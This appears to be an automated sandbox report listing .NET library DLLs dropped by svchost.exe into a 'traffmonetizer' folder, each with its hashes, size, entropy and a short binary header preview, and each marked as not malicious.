SHA1:	BFA0E27BE1D56BA48918A9B7CA7090AF7779A10E
SHA-256:	9A4595DBB128E2D8F373B3AC45478E7131F4D181B50EC821EC8CB88BD46BD5B8
SHA-512:	58D7E8D6FA237A6EAC018C0A88D6BF76AD9EE49B6A6790B64E68C33EBF80AFCB4223881AAC6821132B877E7D848BC917EB9490590CDB297F362C9B43143D6713
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............b)... ...@....... ...................................@..................................)..O....@...................>...`.......'............................................... ............... ..H............text...h.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................D)......H.......P ......................X'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US.........#GUID...........#Blob......................3................................................../...z./...N.....O.....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.IsolatedStorage.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.911523435668273
Encrypted:	false
SSDEEP:	384:2HW4/WJvT1Dm0GftpBjE3aQHRN76RlTZVkuu:2ry1DViu3L6HZVC
MD5:	AB8D293BCD7A13E83565B4AFA8438988
SHA1:	48F227C62B2001C441BCBC5B570911F096DDF421
SHA-256:	0E80A2E256D16E487BC847D1857ED7CD088F176254BA2A385D675338B836B0FC
SHA-512:	443DD75234C043DE736423466C1FC2FF2BD9B6B9FE753521C3C225DE99F5A7D3828A470CF8EA54678A86681949E5DCD1DE1EAB35BF0F348F758FA099A9092F54
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@.. ................>...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\...#Strings....`.......#US.d.......#GUID...t.......#Blob......................3..................................................+.....+...^.....K.....r.................q.....'.....@.................[.....D...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.MemoryMappedFiles.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21216
Entropy (8bit):	6.952503401221548
Encrypted:	false
SSDEEP:	384:Gvk7hWmCWXC7Bm0GftpBjyuGaaQHRN70EflO62gHcXm:Gs7/+Vi1GaLIg82
MD5:	34E21101FAF71A27C6819CC051DEBC9D
SHA1:	D9DF77B4993418337894FF04C6B813224B9F8543
SHA-256:	81B6527AC2D18782AC24AE463C11DD1D70AB1BC89F626B7347A592229B371A1D
SHA-512:	AA339F2489CA9BC9EF7F6121C9586DBD8F5AD2CA5A160A3BCAC74B908570EC2FC0BC24E0EC33AE9DE9D6A6C3557EC2816FE8E89FFCA93E310503F6F83A691F6D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................!.....@.................................h)..O....@..0................>...`......0(............................................... ............... ..H............text........ ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.................)......H.......P ..`....................'......................................BSJB............v4.0.30319......l.......#~..H.......#Strings....8.......#US.<.......#GUID...L.......#Blob......................3................................................ .C.....C...w.0...c.............................@.....Y.................t.....]................................)....1....9....A....I....Q....Y....a....i....q.*.......................#.....+.....3.....;.....C.8...K.X...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Pipes.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21168
Entropy (8bit):	6.934271103866825
Encrypted:	false
SSDEEP:	384:3GMWCUWm+109m0GftpBjG6VVaQHRN7Utl3uVog4a:33cVi0OVLUOV73
MD5:	58A2E5AC0510B9223236B9317C505B58
SHA1:	A00954217CA326C54A863D451820263A6D7EE1AF
SHA-256:	80A229B2917FC3A5D941FF9745A6BE0065028AFDF9509300410D2721C71F1198
SHA-512:	18736ECFE0EF0C477BF64F89CA97AF4578DEFC996F0A5BAD33D7A29AF6E09745E4B10D6D543243B9664E40169EE550C996E783C5FFBB0FC767DA7FFC63E13FB6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................P.....@.................................@)..O....@...................>...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................t)......H.......P ..8....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings............#US. .......#GUID...0.......#Blob......................3..................................................].....]...T.J...}.....h.$.....$.....$...g.$.....$...6.$.....$.....$...Q.....:.$.................D.....D.....D...).D...1.D...9.D...A.D...I.D...Q.D...Y.D...a.D...i.D...q.D.......................#.....+.....3.....;.....C.,...K.L...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.UnmanagedMemoryStream.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.909892409390874
Encrypted:	false
SSDEEP:	384:sBhwI7WSQWfTwm0GftpBjGaQHRN7SRalgaGn7x:sDwIBxwVi0L3Gd
MD5:	D74405753F829E75E89BBA5EBC296112
SHA1:	474944856DB781A34796BFCCE18ECD4580275AD1
SHA-256:	86F1F12E47F260985B08BB966598123578EB5E48BEF9BB086F04E16E9D53BB32
SHA-512:	CDC5D49FCF0249C539E45C9917C152F130C8FEE975D97C2F62526F474CB779B2BF273195F4AA7A64F76DD2496528C0D021B56E60AAE2635606F9F55092CB47F4
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................1W....@.................................l(..O....@..P................>...`......4'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..d....................&......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................f.....:.....2.....N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21144
Entropy (8bit):	6.936275464847822
Encrypted:	false
SSDEEP:	384:iyvPRW4lWkTwm0GftpBj8w0aQHRN7y3lBLY6f4:H39VwViGw0L0Yh
MD5:	809FDBD7422A3E02C89244DC530A3367
SHA1:	A6999C04B243B034F8EE7AD0D79F3CE24DF9A9D0
SHA-256:	C191A43029EDD4EB8EEE003356F1FE79AA45071C25433A7A3589590E9089EED9
SHA-512:	5232B7EF2B60A99BE2B027112078A7DEBF58BFA4308F4AE53DD9A96FA7BCCBB0927BEB7148E7A3944173F7820F9F519767539D1FDFEF848B6F1D6668BE11FC15
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................A.....@..................................)..O....@...................>...`......l(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...L...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................................f.....:...........N.................M.................e...........7..... ...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.&...K.F...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Expressions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22224
Entropy (8bit):	6.8873536206529895
Encrypted:	false
SSDEEP:	384:j6RW6eW++109m0GftpBjeLUaQHRN7es2lGinGEx:j67aVi8ULzSN
MD5:	3B49BF361F3116DE28176B40845BC199
SHA1:	5627E53D15E56868DC9082EDCAE5A653B96B9AF1
SHA-256:	BF97F67165231C2A42B95F11D80337B082E2B2BE54351DA44C8A10C06194B369
SHA-512:	0FE87438ACD6C14401523987BE617A83DDFD2B42938FC52E0DA5F941F7DC70686CC6436EDD41C4998FD56D5F52D64ACFAB5010B96B1E80C084C4AB9F546202A8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............-... ...@....... ....................................@..................................-..O....@...................>...`......P,............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P .......................+......................................BSJB............v4.0.30319......l.......#~..\.......#Strings....\.......#US.`.......#GUID...p.......#Blob......................3......................................5.........c.............z...............(.....E.....................................Q.........../...........b.....b.....b...).b...1.b...9.b...A.b...I.b...Q.b...Y.b...a.b...i.b...q.b.......................#.....+.....3.....;.....C.4...K.T...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Parallel.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.913851684806603
Encrypted:	false
SSDEEP:	384:ISUP9W70WuvT1Dm0GftpBjluHJaQHRN7alxBGD0F:NUek1DViTupLMMc
MD5:	8BE0CAA60074176FA1E7E63C0AEB6C01
SHA1:	4D4AE0D2664025327F28400D917CC59AFD69F33A
SHA-256:	30A49D16436E3A05569C99A0C2D21755C2FA323C5B925F9F21C10287CC97D9C9
SHA-512:	057F21A7E7496343C06CC497A24E46E59218EAE1838885EEEF7391285CDE243AFE853155F52933959B40F40AA7028A289D15D279833208BBA42BF853D4DF91C6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................S.....@..................................(..O....@...................>...`.......'............................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l.......#~..,...x...#Strings............#US.........#GUID...........#Blob......................3..................................................&.....&...p.....F.............................9.....R.................m.....V...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.Queryable.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.914858816124373
Encrypted:	false
SSDEEP:	384:m8yg07W0/WGC7Bm0GftpBj8xPoaQHRN7WE1l78oSwDnuaPJL:mBH2ViyoLW4awFRL
MD5:	E04CDB6229D83768285ACB08D870F23A
SHA1:	A181F5CC93E9273D9169A9954A74D73BC1852980
SHA-256:	719AC73BB261E0A13574F5A198126CCF40352264958DEFB555280D005134C704
SHA-512:	257FB07C0D86E292FE6FA88E03B29994CB9864C17A535CE7B366A728EAA4B3A803D88A23157CAA457D0B681A2C0D97DD7D9A2754300B73030D9A09C4E9004772
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ...............................F....@..................................(..O....@...................>...`......x'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...d...#Strings............#US.........#GUID...........#Blob......................3.................................................."....."...m.....B.............................6.....O.................j.....S.......(...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.2...K.R...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Linq.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21152
Entropy (8bit):	6.8927140284137165
Encrypted:	false
SSDEEP:	384:De1WmRWk+109m0GftpBjBpcQaQHRN7MAlgaGn7hw:Dej/ViOQL/Glw
MD5:	5E33930FE2E0867CB1F9FABEDDFBD7B1
SHA1:	4D93C7D7E6315CA2195ED73716996ADE8E17FBB2
SHA-256:	349C7FBE9AE2B78C2F90239BDDFCEA5B16A0FAAC1FE83553A816C50C3E9089B1
SHA-512:	8F87B5013E0CF3A776BFB1F1A68F316A28AF3CB6C74F0ADF3EAD6D5063525C6668B42C077549F66267130959A9CB986BF5F8E4242FC4EF36C356D6927F587A0F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................~.....@.................................p(..O....@...................>...`......8'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..h....................&......................................BSJB............v4.0.30319......l.......#~.. ...0...#Strings....P.......#US.T.......#GUID...d.......#Blob......................3............................................................f...........z.................y...../.....H.................c.....L.......,...........................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.(...K.H...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Memory.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	141184
Entropy (8bit):	6.115495759785268
Encrypted:	false
SSDEEP:	3072:IUGrszKKLBFa9DvrJGeesIf3afNs2AldfI:jBFd3/aFs2
MD5:	6FB95A357A3F7E88ADE5C1629E2801F8
SHA1:	19BF79600B716523B5317B9A7B68760AE5D55741
SHA-256:	8E76318E8B06692ABF7DAB1169D27D15557F7F0A34D36AF6463EFF0FE21213C7
SHA-512:	293D8C709BC68D2C980A0DF423741CE06D05FF757077E63986D34CB6459F9623A024D12EF35A280F50D3D516D98ABE193213B9CA71BFDE2A9FE8753B1A6DE2F0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....jM^.........." ..0.................. ... ....... .......................`............@.................................X...O.... ..0................#...@...... ................................................ ............... ..H............text........ ...................... ..`.rsrc...0.... ......................@..@.reloc.......@......................@..B........................H........,................................................................('...>..}......}......{......{......{.....{....3..{.....{....((......0...........%.u....,..........(.....z.{....%-.&.+.o)....{....(a.....(....zN........o...s+....(....z.s,.....(....zF(U....(O...s-....(....z.(V...s-....(....z.s.....(....z.s/.....(....zN........o...s0....(....zrr...p(\....c.K...(O...s1....(....zBr...p(Y...s1....(....z.s2....(....z.(X...s3....(!...z.(_...s3...*.(#...z

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Http.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	198472
Entropy (8bit):	6.150725701658664
Encrypted:	false
SSDEEP:	3072:HeruQlNGOhYq0AQcTvankc+8lbKta4FUPAT8xpRI454I/Kv6RpZ8dwPSgEQ4:aW60VcTvakcXcApOW4
MD5:	665E355CBED5FE5F7BEBC3CB23E68649
SHA1:	1C2CEFAFBA48BA7AAAB746F660DEBD34F2F4B14C
SHA-256:	B5D20736F84F335EF4C918A5BA41C3A0D7189397C71B166CCC6C342427A94ECE
SHA-512:	5300D39365E84A67010AE4C282D7E05172563119AFB84DC1B0610217683C7D110803AEF02945034A939262F6A7ECF629B52C0E93C1CD63D52CA7A3B3E607BB7D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.................. ........... ....................... ............@.....................................O.......h...............H?........................................................... ............... ..H............text...D.... ...................... ..`.rsrc...h...........................@..@.reloc..............................@..B........................H........$..H...........$....,...........................................0..,........ ....1.r...ps0...z.............(.....s1....0..l........J.2..J.o2...2.r...ps0...z..Jo3....%36.o2....JY.2..J.Xo3.....J.Xo3...(...... ........J.XT....J...XT.o3.....o2....Y./....o3....%3 ...Xo3......Xo3...(.... ..........0..=..........J...XT..%....J...XT.~..... ...._.c.....J...XT.~......._......0............02...91...A2...F1...a2...f1. ....*..91...F1...aY+...AY..X+...0Y...02...91...A2...F

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NameResolution.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.9009750652396775
Encrypted:	false
SSDEEP:	384:R6ZWYLWfQBm0GftpBjf6xTaQHRN76IzlTZVkH:R6lNViBCTL6GZVU
MD5:	2EEC710DBAACD32BEDFCA09ECA8DE52D
SHA1:	2CB934305D3648FF29FDBC7D92485003F8458848
SHA-256:	222BD77C5692C2961E8C3638F6511D6F7CBEB9E0977E2D5C3BCA6739A5311F37
SHA-512:	03F132E1BAC629A394A093D59550B22D5FD4C4D6F244697173229282741A9CD6669C4256C024467CE94293C74F304560066711C35620AB4750621502AA67B5B1
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................f.....@.................................T(..O....@.. ................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P ..L....................&......................................BSJB............v4.0.30319......l.......#~......0...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.NetworkInformation.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22248
Entropy (8bit):	6.861480146265617
Encrypted:	false
SSDEEP:	384:B1W1WMQW5R4Xm0GftpBjNY1aQHRN7ZKl3uVogY:O154XVij2LZVV7Y
MD5:	F39A35095CFD0019D6D4BB8461750BF0
SHA1:	AD55AF22E5479A5ADDF01D698138E5149270E3CF
SHA-256:	2E2D28A0802D8C8C08C0D422F48733AD8BF1DFAE75F5682A4A3DF8898E7E819F
SHA-512:	25FC9D4254DE0AFAB9AE3E19B8B225E1D875DCACE6CA2C83F768B62C0E2B331CC9DD2988DFF7994B5819FB0DD7A89A49FD19E653FC2E4EE656182E08A969A93D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............,... ...@....... ...............................u....@..................................,..O....@..@................>...`......p+............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................,......H.......P .......................*......................................BSJB............v4.0.30319......l...<...#~..........#Strings....t.......#US.x.......#GUID...........#Blob......................3................................!...............E.................%.................'...........e.....~...........................................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.:...K.Z...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Ping.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21168
Entropy (8bit):	6.898664332146086
Encrypted:	false
SSDEEP:	384:AdSWSKW5R4Xm0GftpBjBaQHRN77OlGinGEwK:+Of4XViHL7asK
MD5:	2A459C2C395F54352A16DE4AA0E5407F
SHA1:	1BA9ECC598E170D779CEB290163AC88E6993935F
SHA-256:	4D97E8481B9A27042BB903245625735D82FF627C66797DE619303C1E705D0D6A
SHA-512:	28DCB8B6E306015D2004EC00443652CE986AB8E09FB09EB82193BFB0604268CA63C527FF64B6364F63C3ADBCDAF5FCDF4D1494243BFC8F6BB629BD213073BD7C
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ..............................\|.....@..................................(..O....@...................>...`......X'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~.. ...L...#Strings....l.......#US.p.......#GUID...........#Blob......................3......................................................\.....0...........D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.,...K.L...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22216
Entropy (8bit):	6.840714789582829
Encrypted:	false
SSDEEP:	384:CJEYA2WkIWVvT1Dm0GftpBj/WaQHRN7glBLY6fI:CyYA8r1DViVWL8YF
MD5:	562F67001889CDBC2531947636418EE5
SHA1:	B219DD45550762B54DAB46533D489C4755F55E0E
SHA-256:	9A8BA725F8E953C933285065228A9409036F9137D03016B127CCEA8A19452466
SHA-512:	FDE868018D24FD72177EDE58952325B52561F9D44AE02A4A2268E445F47ABF3B81B809F443D362DF83BD6667B5988AC2CA15242B9F76A0B5FB5B444FADA1BF26
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............r,... ...@....... ..............................0c....@................................. ,..O....@...................>...`...................................................... ............... ..H............text...x.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................T,......H.......P ......................h......................................BSJB............v4.0.30319......l.......#~..\|...x...#Strings............#US.........#GUID...........#Blob......................3......................................$.........N.U.....U.....-...u.................0...........n.........................>.......................'.....'.....'...).'...1.'...9.'...A.'...I.'...Q.'...Y.'...a.'...i.'...q.'.......................#.....+.....3.....;.....C.2...K.R...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Requests.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21184
Entropy (8bit):	6.933179959460408
Encrypted:	false
SSDEEP:	384:OJGWe4WG80um0GftpBjTaQHRN7xAlTZVk+:ymhViRLxaZV1
MD5:	28141960A88365DF6A60B0C6FF831B0B
SHA1:	B56C3D2E270B1C793A2EE17CAC9C98B178258E94
SHA-256:	F2E74A3EC2DC753C9A48FA9A677775F949EB1E02FC1BB8BF38C39E8D2AB147EB
SHA-512:	CD44E789A6C04E2BC3B07810B57CC83787F06530065FDCE069D89E42557F40770923CC705E73B7699731166F19FD7133FBDD8EDD578D308A4F72CBB29E76939F
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............)... ...@....... ..............................d.....@.................................0)..O....@...................>...`.......'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................d)......H.......P ..(...................x'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings............#US.........#GUID...........#Blob......................3..................................................4...~.4...R.!...T.....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Security.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21696
Entropy (8bit):	6.870719034523618
Encrypted:	false
SSDEEP:	384:KdW1w3WesWoC7Bm0GftpBjWG1aQHRN7sl78oSwDnujJ:f1wxvVi11LWawS
MD5:	8D00682E84D1D773D2160B63C0380BA6
SHA1:	5E4158533532A27E03D0CCC9A0AF5E89FFFD8637
SHA-256:	D0D90152136A0ACF340FB345098F2E5C718BB13F3B5A809D7BE4D9948B8574D4
SHA-512:	991FC952B452446255963AEB4F11C74E7116E15B666924452F3C0D15517322EF1D925DC44BC1F003E8483B5C0B34AD71D54ECAEE360FD9E942664FDEC4E37E99
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0.............~... ...@....... ..............................X~....@.................................,..O....@...................>...`.......(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................`*......H.......P ..$...................t(......................................BSJB............v4.0.30319......l...$...#~......t...#Strings............#US.........#GUID...........#Blob......................3......................................................\.....0...........D.<.....<.....<...C.<.....<.....<...[.<...x.<...-.......<.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.0...K.P...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.Sockets.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	30544
Entropy (8bit):	6.684598614993447
Encrypted:	false
SSDEEP:	384:mylNGlfdqj5531HJTABhf8g2MkO1ICMbmiT2Y4Y3ocWS9sWvW8YsW6vm0GftpBj5:myp12Bhkg3qnV/s2ViaBL0HhR
MD5:	8C9D9F45B85526E491F6555B1566A41C
SHA1:	1420EF91F6E0F6954F373F1AC4079064398AB455
SHA-256:	694F4C61B6BAE0AEFAC07A1E861C12C03CB6002F30091E4C8B05BB9C8CCF0D3D
SHA-512:	38890886C641D7E6E76A3D4D984215C680F5DCF12129BA2EBD560644EDA793335B01C637C1F6744C249DAB1FEFD5AEB8D1B212475221C03DF3CA82413F6670C0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............I... ...`....... ...............................[....@.................................gI..O....`...............8..P?...........H............................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@..@.reloc...............6..............@..B.................I......H.......H(... ..................HH.......................................0..J.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%......o.......0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+.0..K.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%.......o...+..0..L.......(....~....%-.&~..........s....%.....~....%-.&~..........s....%........o...+.0..L.......(....~....%-.&~..........s....%.....~....%-.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebHeaderCollection.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.910950453979084
Encrypted:	false
SSDEEP:	384:5HPAW1bW4QBm0GftpBjzuGRaQHRN7dlxBGD:1rmViFL3M
MD5:	7DA1FEE108A0750F47B70F25FE2CC55A
SHA1:	6523838EF4AAB39D0D3C0DF11C28ADA449EDD592
SHA-256:	69B48FF8E6F40B84CDDDB95BCDBB34E1184A2E29CB4CCC0FC9F1A2493648EE37
SHA-512:	9C0E69C07B2ED6CAA9BB3FFD9EBA6C82A0B763F2DFB06341F6343C54DBC254505CC0350B96B79DC4062D8D28D47C79824E98BB293C8C85203E827164AF862B5A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...A..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..P................>...`......P'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....T.......#US.X.......#GUID...h.......#Blob......................3......................................z...............\.....0.....3.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Net.WebSockets.Client.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.91070814532456
Encrypted:	false
SSDEEP:	384:MNoqWD7W6QBm0GftpBjig+aQHRN7Ml3uVogS/:MNofkViOLXV7S/
MD5:	E06BAE626965FBDB0BAE5437498B5155
SHA1:	49392F58BE6F5C97C5DE59BFC44F9CFCBE1E5DD7
SHA-256:	19766A20B62B038ABC3E863F2D6E7B55FABEE4D9CBCAD3EB1D7BD3EBFE8D023A
SHA-512:	69C6D8D5F8835DA31D36940F0AE793BD00D87E9CB9380C3A7B21FE3E315F192F95B8E63C8F9D0A3737C73673A0AEAC41FC728FB7B236F12453A953066F9E53E7
Malicious:	false
Reputation:	unknown
